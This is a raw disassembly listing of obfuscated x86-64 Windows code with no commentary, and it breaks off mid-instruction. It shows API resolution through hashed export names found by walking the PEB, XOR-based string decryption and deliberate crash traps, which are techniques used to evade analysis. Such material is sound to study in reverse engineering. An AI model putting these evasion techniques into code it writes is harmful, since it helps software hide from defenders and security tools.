nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a030
cmp r8d, 0xcded1a85
je 0x14008a05b
test r9d, r9d
jne 0x14008a010
mov rax, qword [rax]
jmp 0x140089fe0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a106
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a106
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a101
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a0e0
cmp r8d, 0xe80fd3a
je 0x14008a10b
test r9d, r9d
jne 0x14008a0c0
mov rax, qword [rax]
jmp 0x14008a090
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a1b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a1b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a1b1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a190
cmp r8d, 0xa52bcaf9
je 0x14008a1bb
test r9d, r9d
jne 0x14008a170
mov rax, qword [rax]
jmp 0x14008a140
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966f2], 1
jmp 0x14008a41f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a296
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a296
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a291
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a270
cmp r8d, 0xcded1a85
je 0x14008a29b
test r9d, r9d
jne 0x14008a250
mov rax, qword [rax]
jmp 0x14008a220
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a346
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a346
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a341
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a320
cmp r8d, 0xe80fd3a
je 0x14008a34b
test r9d, r9d
jne 0x14008a300
mov rax, qword [rax]
jmp 0x14008a2d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008a3f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008a3f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008a3f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008a3d0
cmp r8d, 0xa52bcaf9
je 0x14008a3fb
test r9d, r9d
jne 0x14008a3b0
mov rax, qword [rax]
jmp 0x14008a380
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1238]
call fcn.1400647c0
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x98]
mov dword [rbp + 0x560], 0x43700000
mov dword [rbp + 0x564], 0x43a00000
lea rcx, [rbp + 0x560]
call fcn.140025b20
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm7, xmmword [0x14011b0e0]
movaps xmm8, xmmword [0x140163180]
mov dword [rbp + 0x568], 0x43820000
mov dword [rbp + 0x56c], 0x42200000
movups xmm0, xmmword [0x1401601c0]
movups xmmword [rbp + 0x6c8], xmm0
movzx eax, byte [0x1401601d0]
mov byte [rbp + 0x6d8], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008a5f5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6cc]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008a4f0
cmp r8d, 0x11
jge 0x14008a640
movsxd rax, r8d
lea r9, [rbp + 0x6c8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14008a610
movdqa xmmword [rsp + 0x50], xmm7
movdqa xmmword [rbp + 0xf0], xmm8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x10000
lea rax, [0x140195680]
mov qword [rsp + 0x28], rax
lea rax, [0x140195678]
mov qword [rsp + 0x20], rax
lea r9, [0x140195670]
xor r8d, r8d
lea rdx, [rbp + 0x568]
lea rcx, [rbp + 0x6c8]
call fcn.14003f970
test al, al
je 0x14008a6b4
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401966f9], 1
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x570], 0x4432c000
mov dword [rbp + 0x574], 0x40a00000
lea rcx, [rbp + 0x570]
call fcn.140025b20
movaps xmm0, xmmword [0x140163290]
movaps xmm1, xmmword [0x140163260]
mov dword [rbp + 0x578], 0x41a00000
mov dword [rbp + 0x57c], 0x41f00000
movzx eax, word [0x1401601d4]
mov word [rbp - 0x78], ax
cmp byte [0x1401601d5], 0
je 0x14008a742
mov byte [rbp - 0x78], 0x78
xor byte [rbp - 0x77], 0x31
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xf0], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x30], rax
lea rax, [0x140195698]
mov qword [rsp + 0x28], rax
lea rax, [0x140195690]
mov qword [rsp + 0x20], rax
lea r9, [0x140195688]
xor r8d, r8d
lea rdx, [rbp + 0x578]
lea rcx, [rbp - 0x78]
call fcn.14003fe10
test al, al
je 0x14008a7a3
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x580], 0x44278000
mov dword [rbp + 0x584], 0x43c80000
lea rcx, [rbp + 0x580]
call fcn.140025b20
movaps xmm6, xmmword [0x140163180]
mov dword [rbp + 0x588], 0x42700000
mov dword [rbp + 0x58c], 0x42480000
movsd xmm0, qword [0x1401601d8]
movsd qword [rbp + 0x1f8], xmm0
mov eax, dword [0x1401601e0]
mov dword [rbp + 0x200], eax
cmp byte [0x1401601e3], 0
je 0x14008a960
mov r8d, r12d
cmp ebx, 2
jl 0x14008a923
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401601d8]
xorps xmm2, xmm0
movd dword [rbp + 0x1f8], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm2, xmm1
movd dword [rbp + 0x1fc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1f8]
add r9, rax
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008a930
movdqa xmmword [rsp + 0x50], xmm6
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rbp + 0xf0], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xf0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x10000
lea rax, [0x140196df0]
mov qword [rsp + 0x28], rax
lea rax, [0x140196df8]
mov qword [rsp + 0x20], rax
lea r9, [0x140196de8]
xor r8d, r8d
lea rdx, [rbp + 0x588]
lea rcx, [rbp + 0x1f8]
call fcn.14003f970
test al, al
je 0x14008ac52
movups xmm0, xmmword [0x1401601e8]
movups xmmword [rbp + 0x980], xmm0
movups xmm1, xmmword [0x1401601f8]
movups xmmword [rbp + 0x990], xmm1
movzx eax, byte [0x140160208]
mov byte [rbp + 0x9a0], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008ab45
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x984]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008aa40
cmp r8d, 0x21
jge 0x14008ab90
movsxd rax, r8d
lea r9, [rbp + 0x980]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14008ab60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ac26
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ac26
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ac21
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ac00
cmp r8d, 0x491e0a9c
je 0x14008ac2b
test r9d, r9d
jne 0x14008abe0
mov rax, qword [rax]
jmp 0x14008abb0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x980]
call rdx
mov rdi, qword [rbp + 0x98]
call fcn.1400159f0
mov rsi, qword [rbp + 0x620]
mov rbx, qword [rbp + 0x358]
cmp byte [0x1401966f9], 0
je 0x14008cdf7
mov qword [rbp + 0x590], 0
lea rcx, [rbp + 0x590]
call fcn.140025b20
mov rcx, rdi
call fcn.140025920
call fcn.1400195e0
mov rsi, rax
movaps xmm0, xmmword [0x140163230]
mov dword [rax + 0x114], 0x3f4ccccd
mov dword [rax + 0x118], 0x3ecccccd
mov dword [rax + 0x11c], 0x3e4ccccd
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x598], 0x44390000
mov dword [rbp + 0x59c], 0x43e60000
movsd xmm0, qword [0x140160210]
movsd qword [rbp - 0x10], xmm0
movzx eax, word [0x140160218]
mov word [rbp - 8], ax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14008ad68
mov byte [rbp - 0x10], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0xf], 0x31
xor byte [rbp - 0xe], 0x32
xor byte [rbp - 0xd], 0x33
xor byte [rbp - 0xc], 0x34
xor byte [rbp - 0xb], 0x35
xor byte [rbp - 0xa], 0x36
xor byte [rbp - 9], 0x37
xor byte [rbp - 8], 0x38
xor byte [rbp - 7], 0x39
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x598]
lea rcx, [rbp - 0x10]
call fcn.140007ee0
mov dword [rbp + 0x5a0], 0x43814000
mov dword [rbp + 0x5a4], 0x42480000
lea rcx, [rbp + 0x5a0]
call fcn.140025b20
mov rcx, rbx
call fcn.140025920
lea rcx, str.FROZEN
call fcn.14004f330
movaps xmm0, xmm9
call fcn.140021aa0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x5a8], 0x43700000
mov dword [rbp + 0x5ac], 0x42f00000
lea rcx, [rbp + 0x5a8]
call fcn.140025b20
movsd xmm0, qword [0x140160220]
movsd qword [rbp + 0x138], xmm0
mov eax, dword [0x140160228]
mov dword [rbp + 0x140], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x144], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14008af26
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160220]
xorps xmm2, xmm0
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x138]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008af40
lea rcx, [rbp + 0x138]
call fcn.14004f330
mov dword [rbp + 0x5b8], 0x43700000
mov dword [rbp + 0x5bc], 0x43110000
lea rcx, [rbp + 0x5b8]
call fcn.140025b20
movsd xmm0, qword [0x140160230]
movsd qword [rbp + 0x88], xmm0
movzx ecx, word [0x140160238]
mov word [rbp + 0x90], cx
movzx eax, byte [0x14016023a]
mov byte [rbp + 0x88], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x89], 0x31
xor byte [rbp + 0x8a], 0x32
xor byte [rbp + 0x8b], 0x33
xor byte [rbp + 0x8c], 0x34
xor byte [rbp + 0x8d], 0x35
xor byte [rbp + 0x8e], 0x36
xor byte [rbp + 0x8f], 0x37
xor cl, 0x38
mov byte [rbp + 0x90], cl
xor byte [rbp + 0x91], 0x39
xor al, 0x3a
mov byte [rbp + 0x92], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140195332]
lea rcx, [rbp + 0x88]
call fcn.140047790
call fcn.140021330
movaps xmm0, xmm9
call fcn.140021aa0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x5c0], 0x43700000
mov dword [rbp + 0x5c4], 0x43390000
lea rcx, [rbp + 0x5c0]
call fcn.140025b20
movsd xmm0, qword [0x140160240]
movsd qword [rbp + 0x148], xmm0
mov eax, dword [0x140160248]
mov dword [rbp + 0x150], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x154], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008b1aa
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140160240]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008b1c0
lea rcx, [rbp + 0x148]
call fcn.14004f330
mov dword [rbp + 0x5c8], 0x43700000
mov dword [rbp + 0x5cc], 0x43520000
lea rcx, [rbp + 0x5c8]
call fcn.140025b20
movsd xmm0, qword [0x140160250]
movsd qword [rbp + 0x20], xmm0
movzx ecx, word [0x140160258]
mov word [rbp + 0x28], cx
movzx eax, byte [0x14016025a]
mov byte [rbp + 0x20], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x21], 0x31
xor byte [rbp + 0x22], 0x32
xor byte [rbp + 0x23], 0x33
xor byte [rbp + 0x24], 0x34
xor byte [rbp + 0x25], 0x35
xor byte [rbp + 0x26], 0x36
xor byte [rbp + 0x27], 0x37
xor cl, 0x38
mov byte [rbp + 0x28], cl
xor byte [rbp + 0x29], 0x39
xor al, 0x3a
mov byte [rbp + 0x2a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
mov r9d, 0x8000
mov r8d, 0xff
lea rdx, [0x140195431]
lea rcx, [rbp + 0x20]
call fcn.140047790
call fcn.140021330
movaps xmm0, xmm9
call fcn.140021aa0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x5d0], 0x43700000
mov dword [rbp + 0x5d4], 0x437a0000
lea rcx, [rbp + 0x5d0]
call fcn.140025b20
movups xmm0, xmmword [0x140160260]
movups xmmword [rbp + 0x7b8], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14008b460
cmp ebx, 2
jl 0x14008b422
movdqa xmm5, xmmword [0x1401202d0]
mov edx, r12d
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x7bc]
mov r8d, dword [rsp + 0x50]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
